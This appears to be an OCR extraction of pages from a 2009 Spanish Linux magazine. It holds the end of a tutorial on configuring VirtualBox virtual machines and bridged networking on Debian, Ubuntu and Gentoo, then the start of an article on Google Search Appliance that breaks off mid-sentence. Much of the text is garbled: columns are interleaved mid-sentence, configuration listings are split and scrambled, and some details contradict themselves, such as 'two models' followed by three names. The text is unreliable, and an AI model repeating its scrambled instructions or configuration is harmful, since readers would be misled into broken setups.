En Debian y Ubuntu escribiremos lo si- registro ya podremos empezar a trabajar con el
guiente en el directorio /etc/modules :
entorno, apareciéndonos una ventana como esta
que se muestra en la Figura 9.
[…]
El entorno es sumamente intuitivo. En la
vboxdrv
imagen se ve como ya existen dos máquinas
vboxnetflt
virtuales instaladas. Todas las que vayamos
[…]
añadiendo se irán colocando a la izquierda,
escribiremos
debajo de las que se muestran en la imagen. Figura 10. El menú Archivo
26
Linux+ 5/2009
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Figura 11. El menú Máquina
Cuando queramos guardarlo, solo tendremos
que pausar la máquina y cerrar su ventana. Entonces VirtualBox nos preguntará si deseamos
apagar la máquina o guardar su estado. De esta
manera se mantendrá el estado de latencia una
vez cerrada la ventana. La opción resulta muy
cómoda si usamos máquinas virtuales a diario
y no queremos apagarlas y volverlas a iniciar
cada día. Tan solo tendríamos que pausarlas
y cuando nos vuelva ha hacer falta restaurarla.
La opción Descartar se encuentra disponible
cuando la máquina ha sido pausada. Cuando la
pulsáramos el estado de la máquina se eliminaría. A efectos prácticos es como si reiniciáramos un PC dándole al botón del reset. Mostrar
historial de eventos nos mostrará en una nueva
ventana todos los sucesos que ocurrieron desde
que se arrancó la máquina. Esta opción es útil
en casos de error o depuración.
Por último nos encontramos el menú Ayuda
(Figura 12). En la opción contenidos podemos
ver la documentación de VirtualBox. Con
Reiniciar Todos los Avisos eliminaremos todos
los mensajes, que haya dado VirtualBox anteriormente. Si pulsamos Check for Updates nos
informará si ha salido una versión nueva del
software y Acerca de VirtualBox nos dará varia
información como sobre la versión y licencia.
Los parámetros
de las máquinas virtuales
Cuando tenemos una máquina virtual instalada
podemos manipular sus diferentes opciones
y ajustarlas según nuestra conveniencia. Para
hacerlo tendremos que seleccionar una máquina,
de las que tengamos instaladas, a la izquierda.
A la derecha nos aparecen tres pestañas con sus
diferentes propiedades. En la pestaña detalles,
pulsamos en las letras coloreadas en azul: General. Es importante recalcar que la mayoría de
las opciones solamente estarán disponibles con
la máquina virtual apagada. En la ventana que se
nos presentará, si seleccionamos el menú General a la izquierda, aparecerá una ventana como la
que se muestra en la Figura 13. Name indica el
nombre que le hemos dado a la máquina virtual.
En mi caso el nombre elegido fue Debian. OS
Type es el parámetro que indica el tipo de sistema
operativo que Tamaño de Memoria Base se nos
ofrece la posibilidad de asignarle la cantidad de
RAM que queramos a la máquina virtualizada,
nosotros asignaremos 128MB, aunque sería
suficiente con 64. Esto dependerá del sistema
operativo que vamos a instalar y de la memoria
real que tengamos en el ordenador físico. Al
igual que la memoria RAM, también podemos
asignarle la cantidad de memoria de vídeo que
queramos. Si no vamos a hacer uso de un entorno gráfico con 16 o 32 MB será suficiente.
En caso contrario deberíamos dedicarle entre
64 y 128 MB, dependiendo del entorno y de la
cantidad de memoria física que dispongamos.
Si, por ejemplo, queremos instalar una Ubuntu
o un Windows XP, con 64MB de memoria de
vídeo tal vez sería suficiente, sin embargo, sería
conveniente asignar 128MB si instaláramos un
Windows Vista.
Los parámetros avanzados
Seguramente Las Extended Features serán
nuevas para muchos. La opción ACPI habilitará
el soporte para la gestión avanzada de energía.
Esta opción rara vez debería de estar deshabilitada. Actualmente todos los sistemas operativos
la soportan, así como el hardware. Esta habilitará características como la regulación de la
frecuencia de la CPU, la posibilidad de pasar al
estado de hibernación y suspensión, entre otros.
IO APIC habilita el sistema de interrupciones
programable avanzado. Para el hardware disponible actualmente sería conveniente activarlo en
la mayoría de los casos, especialmente si se pretende instalar un sistema Windows. Si se activa
en Linux ha de estarse seguro de tener el soporte en el kernel. En cualquier distribución actual
estará activada por defecto. Para el soporte en
sistemas con varios cores (Intel core, Core2,
QuadCore, etc) en el procesador con procesamiento paralelo debería de estar habilitado.
VT-x/AMD-V activa el soporte hardware, en el
procesador, de la virtualización. El rendimiento
aumentará considerablemente en caso de poder
activarla. Ambas tecnologías son equivalentes
en funcionalidad pero una la incorpora Intel
(VT-x) y otra AMD (AMD-V). Los procesadores que incorporan esta funcionalidad se listan
a continuación (Tabla 3).
Habilitando las extensiones PAE/NX del
procesador, permitirá hacer uso de más de 4GB
de memoria. Esta se encuentra disponible en
procesadores Intel pentium Pro o Amd Athlon
y posteriores.
El Shared Clipboard es un concepto que
puede resultar impactante. Seleccionándolo en
Bidireccional nos permitirá compartir el portapapeles del sistema. Gracias a esta podemos
copiar un texto del block de notas en la máquina
física y pegarlo en un editor de texto en la máquina virtual.
El Ide controler type nos da la posibilidad
de seleccionar el tipo de controlador que queremos que VirtualBox emule como controlador
del Disco Duro. A no ser que se tenga un hard-
Con la correcta configuración de estos parámetros podemos alcanzar un rendimiento considerablemente mayor para nuestras máquinas
virtualizadas. Para acceder a ellos seleccionamos
la segunda pestaña del menú de configuración de
la máquina virtual. El aspecto de esta pestaña de
configuración puede variar dependiendo de la
versión de VirtualBox que hayamos instalado,
que depende de si lo instalamos con el gestor de
paquetes de Debian, Ubuntu o Gentoo, o si bajamos los fuentes de la última versión y los compilamos manualmente. Dado que en las nuevas
versiones sí están los parámetros de versiones
anteriores, pero no a la inversa, se explicarán
aquellos que no pertenecen a la última versión
descargable, aunque es la instalable por defecto
para la mayoría de las distribuciones de Linux.
En esta segunda pestaña nos aparecerá un menú
como el mostrado en la Figura 14.
Al igual que en los ordenadores físicos, en
VirtualBox también se puede definir y priorizar
el medio con el que se desea que arranque:
Disquete, disco duro, cdrom, etcétera. En una
máquina virtual sucede exactamente lo mismo.
Esa es la utilidad del cuadro Boot Order. Normalmente aparecerá en el orden en el que se ve
en la Figura 14, o puede que el disquete y la red
se encuentre antes. Esto puede ajustarse según
convenga. Si deseamos cambiar el orden tan solo
tendremos que seleccionar una opción y darle a
las flechas de la derecha, que se activarán cuando
se haya marcado una de las opciones. Para darle
mayor prioridad le daremos a la flecha hacia arriFigura 12. El menú Ayuda
ba y flecha hacia abajo para disminuirla.
www.lpmagazine.org
27
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
ware muy antiguo lo conveniente sería que seleccionáramos el controlador PIIX4. La última
opción, snapshot folder, contiene la ruta donde
VirtualBox almacenará las instantáneas que
tomemos de nuestras máquinas virtuales. Las
instantáneas son imágenes del disco duro (virtual). Esto es útil para cuando hemos terminado
de instalar nuestro sistema operativo. Cuando
lo hayamos dejado todo configurado a nuestro
gusto podríamos crear una instantánea. De esta
manera si nuestro sistema se vuelve inestable o
dejara de funcionar podríamos volver al punto
en que tomamos la instantánea, es decir, restaurarlo y dejarlo en el punto que fue tomada.
Las pestañas de descripción y Otros
En la pestaña descripción podemos escribir un
pequeño comentario sobre el uso o la utilidad
que tiene esa máquina virtual. Esto es muy útil
cuando se tienen muchas máquinas y son usadas para diferentes cometidos.
En la pestaña Other Podemos activar la
opción: Remember Mounted Media. Para explicarla es necesario comentar como se le añaden
dispositivos a la máquina virtual. Imaginemos
que tenemos 2 máquinas virtuales arrancadas
y funcionando. Entonces conectamos un pendrive de memoria al ordenador. Nuestro sistema
operativo de la máquina física lo reconocerá,
permitiéndonos usarlo. Tal vez querríamos conectarlo a alguna de las máquinas virtuales. Cuando
lo asociamos a ella sería como si se le hubiera
conectado un pendrive igual que a la física. La
conexión de este dispositivo puede ser recordada
cuando ésta se apague y vuelva a encenderse. Para
ello tendríamos que marcar esta opción.
esos cambios se quedarían en esos ficheros.
No afectan en absoluto al disco duro real. Por
eso las máquinas virtuales son perfectas como
entornos de pruebas.
Para crear un nuevo disco tan solo debemos
de darle al botón que se encuentra a la derecha,
en que aparece un + pintado en verde. Se nos
abrirá un asistente. Hemos de seguirlo. La única cosa que cabría resaltar de él son los tipos
de imágenes (Así llama VirtualBox a los discos duros virtuales). Cuando creamos un disco
virtual tenemos la opción de reservar todo el
espacio con el que decidimos crear el disco
en el momento de la creación (Imagen de Tamaño Fijo) o que reservar ese espacio, poco a
poco, cuando vaya haciendo falta (Imagen de
Expansión Dinámica). La elección, normalmente, será la de expansión dinámica. De esta
manera ahorraremos espacio, aunque perderemos algo de eficiencia al tener que calcular el
espacio necesario al vuelo. En el siguiente paso
asignamos el tamaño que deseamos y daremos
un nombre a nuestro nuevo disco virtual. Es
importante recalcar que solo podemos marcar
un disco duro como primario. El resto han de
ser secundarios.
Configuración del CDROM y disquete
unidad de CDROM. VirtualBox se encargará
de emular y hacer creer al sistema virtualizado que se trata de una unidad de CDROM.
Esto es muy útil cuando queremos instalar un
nuevo sistema operativo. Muchos de estos
suelen estar en formato .iso. Este formato está
preparado para ser grabado directamente en un
CDROM virgen. Seleccionando esta opción en
VirtualBox nos ahorramos el gastarlo. Además,
el acceso es considerablemente más rápido.
Para el caso del disquete sucede exactamente
lo mismo.
Configuración del dispositivo de sonido
Seleccionado la pestaña Audio, a la izquierda,
podemos habilitar el acceso a la tarjeta de
sonido para la máquina virtual. En la sección
derecha, una vez hayamos activado la opción,
podemos seleccionar de los desplegables varias
cosas. La primera es el sistema de sonido que
deseamos usar (opción Host Audio Driver).
Actualmente el sistema más usado es ALSA.
Salvo que se haya modificado expresamente el
servidor de sonido éste será el que tenga instalado. Con el otro desplegable podemos elegir la
tarjeta de sonido que queremos que emule VirtualBox. Salvo que tenga un buen motivo para
hacerlo, debería de elegir: ICH AC97. La razón
es porque la mayor parte de los sistemas operativos soportan sin problemas este dispositivo
por defecto y, normalmente, será mejor que la
otra opción que se nos presenta.
Seleccionando en el menú de la izquierda
CD/DVD-ROM nos mostrará, en la parte de la
izquierda un cuadro de selección con el que podremos activar el soporte óptico en la máquina
virtual. VirtualBox ofrece varias opciones para
hacerlo. La primera, que es la convencional, es Configuración de las tarjetas de red
usar el lector de la máquina física. Esta viene La configuración de la red es uno de los puncon el nombre de Unidad CD/DVD-ROM an- tos débiles que había tenido VirtualBox hasta
fitrión. La segunda puede resultar curiosa para ahora. El motivo no es la falta de soporte, ni
Configuración de los discos duros
la gente neófita. Con ésta se nos da la posibi- la imposibilidad de no poder hacer las mismas
En las pestañas de selección que se encuentran lidad de seleccionar una imagen, o ISO, como cosas que con otro software. La razón era la
a la izquierda elegimos el Discos duros, a la
derecha nos aparecerá una lista con los disponibles para esa máquina virtual. Es concepto
de disco duro en una máquina virtual es un
tanto extraño. Nosotros podemos crear tantos
discos duros virtuales como queramos. Cuando
arranquemos el sistema huésped, éste detectará
todos los que tengamos añadidos y los reconocerá cada uno de ellos como discos físicos
diferentes. Una de las grandes ventajas de las
máquinas virtuales es que los discos duros que
se le asocian son ficticios. Esto significa que
VirtualBox creará un serie de archivos, con el
tamaño (éste es la suma de los tamaños de todos
estos archivos) que le asignemos al disco duro
virtual, y le hará creer al sistema virtualizado
que realmente existe ese disco. He aquí la gran
ventaja, pues aunque modifiquemos cualquier
cosa en el disco virtual, desinstalemos o rompamos el sistema de archivos de éste, todos Figura 13. Selección del cantidad de RAM y memoria de vídeo
28
Linux+ 5/2009
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Directorios compartidos
Este punto puede que sorprenda, gratamente,
a muchos. Es una de las funcionalidades más
prácticas y cómodas que podemos encontrar
en los sistemas de virtualización. Esto es: tenemos la posibilidad de seleccionar una carpeta
en la máquina física y compartir el contenido
de la misma con la máquina virtual que deseemos (o con varias) y viceversa. Cualquier cosa
que guardemos en esta carpeta en la máquina
virtualizada se quedará almacenado en el
directorio de la máquina física que hayamos
elegido, aun después de que hayamos apagado
la máquina virtual. Esto es especialmente
útil para compartir archivos entre máquinas
virtuales.
Para crear un directorio compartido haremos
click en el botón que se encuentra a la derecha
con una + en verde. En Folder path elegimos
el directorio, de la máquina física, que queremos
compartir. En Folder name el nombre con el que
queremos que se vea en la máquina virtualizada.
Si deseamos que la carpeta solo pueda ser leída
por las máquinas virtuales marcamos la opción
de solo lectura. Finalmente aceptamos.
Para usar estas carpetas tenemos que seguir
procedimientos diferentes si queremos usarlas
en Windows o en Linux. Para usarlas en Windows abrimos el Explorer (No el Internet Explorer) y escribimos: \vboxsvr\CARPETA. Donde
CARPETA es el nombre que le dimos cuando la
creamos. Para un sistema Linux tendríamos que
escribir: mount -t vboxsf share P_MONTAJE.
Donde P_MONTAJE es el directorio que queremos
montar compartido.
Es muy importante recalcar que para que se
encuentre disponible la posibilidad de usar esta
característica es imprescindible tener instalado
las Guest additions.
Figura 14. Parámetros avanzados
complicación a la hora de establecer determinadas configuraciones.
En su versión estable VirtualBox soporta
hasta cuatro interfaces de red (en su última
versión este número asciende a ocho). Se nos
ofrece la posibilidad de simular cada interfaz
de una forma diferente, así como la emulación
de diferentes tipos de tarjetas de red (usando
drivers diferentes).
Para habilitar la tarjeta de red marcamos el
botón de chequeo correccionalmente. En primer lugar nos aparece el desplegable Adapter
type. Aquí podemos elegir el driver a emular. Si
no va a instalar un sistema operativo excesivamente viejo debería decantarse por Pcnet-FAST
III (Am79C973). En caso contrario elija la otra
opción.
La gran diferencia entre configuraciones de
las diferentes tarjetas se encuentra en el desplegable Attached to. La primera opción, No conectado, tiene un efecto (en el sistema virtualizado)
como si existiera una tarjeta de red conectada al
PC pero se encontrara deshabilitada. Con NAT,
seremos capaces de conectarnos a la red de forma que VirtualBox se encargará de realizar el nat
con la tarjeta de red física. Cuando encendamos
la máquina virtual y nuestro sistema operativo
pida una dirección IP, éste se encargará de asignarle una de un rango privado, y el resto de parámetros de configuración. Podríamos decir que el
efecto es el mismo que si conectáramos un PC al
router de nuestra casa. VirtualBox haría el papel
de router. A no ser que tenga otras necesidades,
esta debería de ser la opción elegida. Si elegimos
Interfaz Anfitrión, le diríamos a VirtualBox que
emule la tarjeta de red real completamente. De
esta manera creará una especie de canalización
directa entre la máquina virtual y la tarjeta de
red, sin intermediarios. De este modo todo el
tráfico entrante y saliente que circule por esa
tarjeta de red, y vaya dirigdo a esa nueva interfaz de red simulada, MAC Address nos permite
cambiar el identificador de nuestra tarjeta. Este
identificador es un número único que cada fabricante dispone para asignarle a sus productos, y
que las establece la organización internacional
pertinente. Tenemos la posibilidad de cambiar
este número o que VirtualBox nos los autogenere. Para autogenerarlo hemos de darle al botón
Generar. La última opción que se nos permite
marcar Cable conectado, le dice a VirtualBox si
la tarjeta de red estará encendida cuando arranquemos el sistema virtualizado o no. Finalmente
nos encontramos la opción red interna. Este tipo
de configuración es especialmente útil cuando
queremos simular un entorno de maqueta para
hacer pruebas. Con ella podemos crear redes
internas a las propias máquinas virtuales, en la
que solo aparecieran en la red todas aquellas que
se configurarán con esta opción. Este proceso se
explicará más detalladamente más adelante.
Instalación de la Guest additions
Para poder disfrutar de todas las posibilidades que
Configuración del puerto serie
nos brinda VirtualBox es imprescindible tener insPodemos configurarlos seleccionando la opción talados los Añadidos para le huésped. Estos son
de la izquierda Puertos seriales. Se nos da la controladores y drivers para el sistema virtualizaposibilidad de configurar dos puertos. Lo ha- do, que activan características como: Portapapeles
bilitaremos marcando el botón de chequeo que compartidos, directorios compartidos, mejor rennos aparecerá a la derecha. Debemos seleccio- dimiento de la tarjeta gráfica, etc. Su instalación
nar el puerto al que queramos acceder (COM1, es sumamente simple. Tan solo hemos de arrancar
COM2, etc). Al igual que con las tarjetas de red la máquina virtual en la que deseamos instalarlos.
tenemos la opción de usarlo en modo compar- Entonces seleccionamos el menú Dispositivos, y
tido, Tubería (pipe) Anfitrión (sería análogo dentro de este Instalar Guest additions (Instalar
al NAT) y Dispositivo anfitrión que sería el aplicaciones del huésped). VirtualBox se encarequivalente al interfaz anfitrión para las tarjetas gará de descargar los archivos necesarios por
de red. Tanto para uno como para el otro, ha de nosotros y crear un cdrom virtual en la máquina
elegir la ruta donde se encuentra el dispositivo. huésped. Una vez hecho esto hemos de instalar las
Estos están en /dev/ttySX donde la X correspon- herramientas como si instaláramos cualquier otro
de con el dispositivo físico.
tipo de software desde el cdrom.
www.lpmagazine.org
29
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Listado 5. Configuración del bridge en Debian
auto vbox0
iface vbox0 inet manual
auto br0
iface br0 inet dhcp
bridge_ports all vbox0
up ifconfig INTERFAZ 0.0.0.0 up
down ifconfig INTERFAZ down
tunctl_user USUARIO
Listado 6. Configuración del bridge en Debian
con la máquina virtual tenemos que cargar el a ella por muy bien configurada que esté. Para
soporte para realizar esta acción en el kernel. ello tecleamos en un terminal, en modo root, lo
Para ello cargamos el módulo tun (como usua- siguiente: chmod 0666 /dev/net/tun.
rio root):
Hecho este paso ya estamos en disposición
de reiniciar los servicios de red. Para hacerlo
# modprobe tun
tecleamos lo que sigue.
En Debian/Ubuntu:
Si no queremos tener que hacer esto cada vez
que necesitemos usar VirtualBox, podemos # /etc/init.d/networking restart
añadir el módulo para que se autocarge en el
arranque. Para ello editamos:
En Gentoo:
En Debian/Ubuntu el archivo /etc/modules,
y añadimos lo siguiente:
/etc/init.d/netmount
[…]
config_eth0="null"
tun
tuntap_vbox0="tap"
[…]
tunctl_vbox0="-u USUARIO"
config_vbox0="null"
bridge_br0="vbox0 INTERFAZ"
config_br0="dhcp"
brctl_br0="setfd 0
sethello 0
stp off"
Configuración de la red
En el punto anterior se explicó brevemente la
configuración de las tarjetas de red en sus formas
más simples. En este punto se va a explicar la
configuración para las tarjetas cuando se necesita
una disposición un poco más avanzada. Esta configuración es la que adopta cuando ponemos el
adaptador de red en modo Interfaz anfitrión. Para
conseguir este tipo de configuración se han de seguir unos pasos nada intuitivos. Afortunadamente
en las últimas versiones todo este proceso no es
necesario, ya que es llevado a cabo por el propio
VirtualBox. Pero en las versiones consideradas
estables sí lo es. A continuación detallaremos
este proceso.
Lo pasos a seguir serán los siguientes: Instalar el software adicional necesario, cargar los
módulos del kernel correspondientes, configurar
y preparar esa configuración para el arranque
automático. Siguientes los anteriores pasos, instalamos el software adicional necesario. Para ello
abrimos una consola e instalamos lo siguiente:
En Debian/Ubuntu:
En Gentoo editamos el archivo /etc/modules.
autoload.d/kernel-2.6, y añadimos la misma
línea que para Debian y Ubuntu.
Ahora es necesario configurar las interfaz y
crear el túnel. Podemos hacer esto modificando
una serie de archivos de configuración y reiniciando los parámetros del sistema. Normalmente
la mayoría de usuarios se conectan usando
DHCP, por tanto se explicará para este caso.
La configuración es la que sigue (ha de hacerse
como root).
En Debian/Ubuntu ha de modificar el archivo /etc/network/interfaces y añadir las siguientes
líneas (Listado 5).
La primera vez que vayamos a usar el puente, antes reiniciar toda la red del sistema tenemos
que ejecutar los siguientes comandos. Esto solo
ha de hacerse la primera vez, después se hará automáticamente cada vez que si inicie el equipo.
# /sbin/ifup vbox0
# /sbin/ifup br0
En Gentoo (Listado 6).
Donde INTERFAZ es la interfaz de red con
la que accede a internet. Si solo dispone de una
tarjeta de red ethernet será, con toda seguridad,
eth0. Si por el contrario se conecta con una tarjeta inalámbrica el nombre puede variar. Podría
llamarse wlan0, eth0, o incluso de otro modo.
Para asegurarse teclee el comando iwconfig. To# apt-get install uml-utilities
das las interfaces que no son inalámbricas se le
# apt-get install bridge-utils
indicará. Por ejemplo, podría aparecerle una línea como esta: eth0 no wireless extensions. ReEn Gentoo:
conocer la tarjeta wifi es muy simple. Será aquella en la que no aparezca ese mensaje. Cambie
# emerge bridge-utils
USUARIO por el del usuario con el que accede
al sistema.
Ahora es necesario cargar los módulos del kernel
Antes de rearrancar toda la red hemos de dar
correspondientes. Puesto que lo que realmente los permisos adecuados a la interfaz que hace
hace nuestra máquina física es crear un puente de túnel, de lo contrario no podríamos acceder
30
Linux+ 5/2009
Realizados todos los pasos tan solo nos queda
configurar la interfaz virtual en VirtualBox. Abrimos la configuración de la máquina virtual que
queramos puentear y la ponemos en modo Anfitrión. Debajo nos aparecerá un cuadro en blanco.
Para añadir nuestra interfaz puente recién creada
escribimos en el cuadro de texto Interfaz name:
vbox0. Sólo un pequeño añadido más. Para que
todo funcione correctamente hay que asegurarse que, para cada usuario que quiera acceder
a las máquinas virtuales, ha de haberse añadido
previamente al vboxusers.
Conclusión
Hemos llegado al final de este número. En él
se han mostrado los principales parámetros de
configuración e instalación, además de hacerse
unas breves comparativas de los productos actuales y sus posibilidades. En la próxima entrega
se abordará una instalación práctica de todo un
sistema de maqueta, con una infraestructura de
red compleja, así como la instalación, paso a paso, de un sistema virtualizado, clonación de máquinas virtuales. También se instalarán y configurarán máquinas virtuales independientes para ofrecer: servidores web, sistemas de bases de
datos, firewalls perimetrales avanza dos y mucho
mas.
Sobre el autor
Daniel García, es Diplomado en Ingeniería
Técnica Informática por la Escuela Politécnica Superior de Informática de Albacete.
Especializado en seguridad informática,
trabaja actualmente como auditor de seguridad para Arcitel Ibérica S.A., en división
de seguridad de Telefónica I+D. Puede
localizarse en la web en la que colabora,
o en el correo electrónico:
Web: www.iniqua.com
E-mail: [email protected]
E-mail: [email protected]
soluciones para empresas
Google Search Appliance
Google Search
Appliance
Miguel Sempere
[email protected]
Google es el buscador de contenidos más importante a nivel mundial,
perteneciente a Google Inc. y fundado por Larry Page y Sergey Brin (dos
estudiantes de doctorado en Ciencias de la Computación de la Universidad
de Stanford) hace ya mas de 10 años.
32
S
u éxito se basó en una novedosa forma de realizar
las búsquedas online, con la creación de un algoritmo, el 'PageRank', que posteriormente pasaría a
ser el corazón que haría funcionar a Google.
Pero antes de la gallina apareció el huevo y antes de Google surgió BackRub, buscador escrito en Java y Python que
posteriormente cambiaría de nombre y pasaría a ser conocido
como en la actualidad.
En 1998, el año que marcaría un antes y un después para
Google Inc. comenzó con Larry y Sergey buscando apoyo
económico y sistemas de financiación, pero sólo lograron
encontrar ofertas demasiado bajas o empresas que no pretendían desarrollar su idea de la forma que ellos tenían pensado.
Así que después de un traslado de los equipos a la habitación
de Larry Page, decidieron fundar su propia empresa creando
la oficina principal en el cuarto de Sergey, junto al de Larry.
A pesar de ello Google seguía indexando webs y obligó
a Larry y Sergey a desembolsar 15.000$ en discos duros
rebajados haciéndoles dejar de lado sus doctorados y dedicar
todo su tiempo a su idea.
En el presente, Google es el motor de búsqueda en Internet más usado y eficaz con una capacidad para ofrecer acceso
Linux+ 5/2009
a más de 8.168 millones de páginas webs y con más de 200
millones de consultas al día.
¿Qué es Google Search Appliance (GSA)?
Ahora imagine tener todo el potencial de búsqueda de Google
en la empresa con una tecnología muy similar a la empleada
en la web google.com. Fue este el motivo por el que miles
de gerentes de IT y ejecutivos perdieron el sueño, deseosos
e impacientes por que Google saltara los firewalls corporativos y pasase a formar parte del mundo empresarial. Así al
fin, en Febrero de 2002 y gracias a Nitin Mangtani, se llevó
a cabo la esperada presentación de la primera versión de Google Search Appliance.
Actualmente GSA, en su versión 5.0, se presenta como
viene haciendo habitualmente en sus versiones anteriores, es
decir un rack plug and play instalable en la empresa, caracterizado por su flamante color amarillo, ofreciendo un acceso
a contenidos empresariales mucho mas rápido, eficaz y seguro que de cualquier otra forma.
Basado en la tecnología web de Google y adaptada para los
clientes de la corporación, permite a los empleados de la empresa acceder a toda la información, proveniente de gran variedad
soluciones para empresas
Google Search Appliance
tipo de fallos del hardware y aun así seguir ofreciendo contenido sin interrupciones. A diferencia
del modelo GB-1001 que ofrece soporte RAID
para ofrecer redundancia frente a posibles fallos
de la unidad.
Con esto muchos clientes del modelo GB1001 de un sólo servidor, lo implantan en dos
unidades para obtener de este modo mayor fiabilidad.
Las capacidades de control de acceso de
Google se integran con los sistemas de seguridad
existentes de la mayoria de empresas, con lo que
su implantación en cualquier corporación no se
convierte en una tarea engorrosa. Y esto junto
con su sistema de plug and play le permiten al
rack comenzar con la indexación de forma instantanea.
Figura 1. Cartel de guia para los visitantes en Google Inc
de fuentes internas y externas. Así como sistemas
de gestión de contenidos, sistemas de ficheros,
intranets, bases de datos, aplicaciones y servicios
alojados, ayudando a que las empresas se beneficien del concepto de Búsqueda Universal.
GSA se puede adquirir en dos modelos diferentes, GB-1001, GB-5005 y GB-8008, completamente diferenciados de su versión reducida,
Google-Mini, en cuanto a capacidad máxima de
documentos y fuentes de contenido. Todos ellos
emplean el mismo software que se utiliza en los
centros de datos de Google. El sistema operativo
que usan estos modelos, es una versión mejorada
de Linux optimizada para la realización de búsquedas y que se le denomina de manera no oficial
como Linux de Google.
En cuanto al hardware, Google prefiere
no dar detalles del sistema que emplean sus
modelos y sólo especifica que sus dispositivos
poseen un hardware capacitado para realizar las
tareas por las que han sido desarrollados.
¿Para qué sirve?
GSA tiene una eficacia, en la que es capaz de
llevar a cabo una indexación de documentos,
de hasta 3 millones en el modelo GB-1001 y 30
millones en el GB-8008.
Así mismo esta gestión la puede realizar sobre más de 200 formatos diferentes (txt, ans, doc,
pfc, jw, wri, dox, xlc, etc.), siendo apto de convertir estos a HTML, donde es capaz de resaltar las
Figura 2. Imagen del Google Search Appliance
palabras importantes de los resultados, permitiendo a los usuarios corporativos visualizar y tratar
los archivos con mayor rapidez.
Permite disponer de la gran cantidad de
datos extraviados o mal ubicados en sus servidores web, servidores de archivos, sistemas de
administración de contenido, bases de datos relacionales y aplicaciones comerciales al instante y a través de un único cuadro de búsqueda.
Pero no todo en la corporación es sólo busquedas e indexación. Google Search Appliance
permite una amplia administración y personalización en 27 idiomas diferentes, desde alemán,
catalán, inglés, italiano pasando por turco,
vasco, vietnamita, finés y hungaro, permitiendo
realizar busquedas en 40 idiomas.
De este modo permite integración con Google
Analytics, que es capaz de realizar un estudio
sobre el modo de empleo de los resultados de
búsqueda y Google Webmaster Tools, para generar automáticamente un sitemap y detectar el
contenido del site web empresarial. Así mismo es
posible imponer filtros a determinados idiomas,
tipos de archivos, sitios webs o metacódigos.
Supervisión mediante interfaz SNMP estándar, para poder estudiar el estado del sistema y las
estadísticas de servicio. Agrupaciones, para poder
segmentar el índice de la búsqueda permitiendo
mostrar diferentes resultados dependiendo del
tipo de cargo de usuario, nombre de dominio, etc.
Todo esto bajo un nivel de seguridad que
ofrece control de acceso en el nivel de usuario y
de documento, en todo el contenido corporativo,
a fin de que se pueda asegurar que los usuarios
sólo obtengan los resultados de la búsqueda acordes a los documentos que pueden consultar.
Esto es posible gracias a el empleo de certificados x509, API de protección de contenido,
autentificación HTTP de NTLM y asistencia nativa para Kerberos. Los modelos GB-5005 y GB8008 tienen una capacidad para resistir distintos
www.lpmagazine.org
¿Quién puede utilizarlo?
GSA está dirigido a todas aquellas empresas
que necesiten un rápido acceso a distintos tipos
de documentos, ya que según Delphi Group, los
trabajadores del conocimiento dedican hasta el
25 por ciento de su jornada laboral a buscar
información. Con lo que poseer una alta capacidad de búsqueda en la corporación, permite
incrementar la productividad.
En la actualidad la Generalitat de Catalunya
emplea GSA, suministrando más de 800.000
Desde la implantación de este servicio de
Google, han conseguido una web más eficiente,
así como un aumento del 10 por ciento mensual
del tráfico respecto a años anteriores.
Kimberly-Clark es una empresa internacional líder en el sector de productos sanitarios y
de higiene que cuenta con una plantilla de más
de 55.000 empleados en todo el mundo y con
un volumen de ventas de 18.300 millones de
dólares en el 2007. Inicialmente no se podían
realizar búsquedas en los servidores de archivos
corporativos, sólo se podía buscar en la intranet
principal y en unos cuantos sitios externos, sumando un máximo de 500.000 archivos.
Listado 1. Propiedades de la configuración
gsa.host=gsa32.
enterprisedemo-google.com
gsa.port=80
gsa.site=default_collection
gsa.client=default_frontend
gsa.proxystylesheet=
default_frontend
gsa.providertext=GSAOneBox Search
gsa.image=samples/gsa/images/
gsa.jpg
gsa.name=GSA32
gsa.maxresults=3
33
soluciones para empresas
Google Search Appliance
a la siguiente URL: http://<IP address>:8000,
en cambio para realizar búsquedas seria: http://
<IP address>:80.
Ante ciertos problemas, Google aconseja utilizar cualquier versión de Vmware player o server
igual o superior a la 1.0 exceptuando la 2.0.
¿Un hardware así no será muy
difícil de instalar?
Figura 3. GSA-to-GSA en acción
cargar desde la siguiente dirección: http://code.
google.com/intl/es-ES/enterprise/gsave/download_
install_guide.html
El único inconveniente (razonable, pero al
fin y al cabo inconveniente) de esta aplicación
son los prerrequisitos mínimos y recomendados
para su ejecución.
Un procesador Intel Pentium D 915 (dual
core), con 4 GB de memoria ram y 40 GB de
espacio libre en disco a 7200 RPM o mejor,
generalmente no es algo de lo que pueda gozar
todo el mundo, pero que vista su capacidad de
poder indexar sobre los 50.000 documentos,
parece completamente normal.
Una vez cumplidos los prerrequisitos más
exigentes, lo mas común es que no tengamos
problemas a la hora de conseguir una versión
¿Puedo probarlo antes
de Vmware (http://www.vmware.com/products/
de decidirme por la compra?
server/) y conexión mediante ethernet.
Quizá uno de los problemas más habituales para
Llegados a este punto, realizaremos los
una empresa, es tener que tomar la difícil deci- siguientes pasos:
sión de compra de alguno de los Google Search
Appliance y si éste sería realmente necesario. • Descomprimiremos el archivo obtenido a
Asi como determinar si la herramienta se adapta
traves de la web de Google Code.
a las necesidades de las empresa. Es por ello que • Comprobaremos la suma MD5 para berifia finales de 2008 Google sacó a la luz una edicar que todo es correcto y no es una imagen
ción virtual que tiene prácticamente las mismas
corrupta.
funcionalidades que las versiones físicas, aunque • Abriremos con Vmware el fichero bajado,
con fines no comerciales, solamente para desaque tiene el estilo vgsa_{date}.vmx donrrollo, configuración y probar la API. Google
de {date} es la fecha de la versión.
Search Appliance virtual edition se puede des- • Esperaremos (unos 5 a 10 minutos) hasta
que veamos el dialogo de configuración
que muestra que el estado es activo.
• En la pantalla podrá observar la dirección
IP del virtual appliance, que será recomendable anotar para siguientes pasos.
Tras la implantación de GSA, se ha aumentando la posibilidad de consultar cerca de 22 millones de documentos al día ubicados en su intranet y en servidores de archivos corporativos
asociados.
Audi, empresa automovilistica, antes de la
implantación de Google Search Appliance realizó un estudio entre su antiguo motor de búsqueda
y el nuevo GSA, analizando los 10 primeros
resultados, buscando el texto “neumático de invierno”.
Mediante GSA el término también aparecía
acompañado de un vínculo con el que podían
efectuarse pedidos, mientras que la otra herramienta sólo ofrecía al usuario enlaces a comunicados de prensa.
Figura 4. Duro competidor del GSA de Google
34
La instalación de Google Search Appliance se
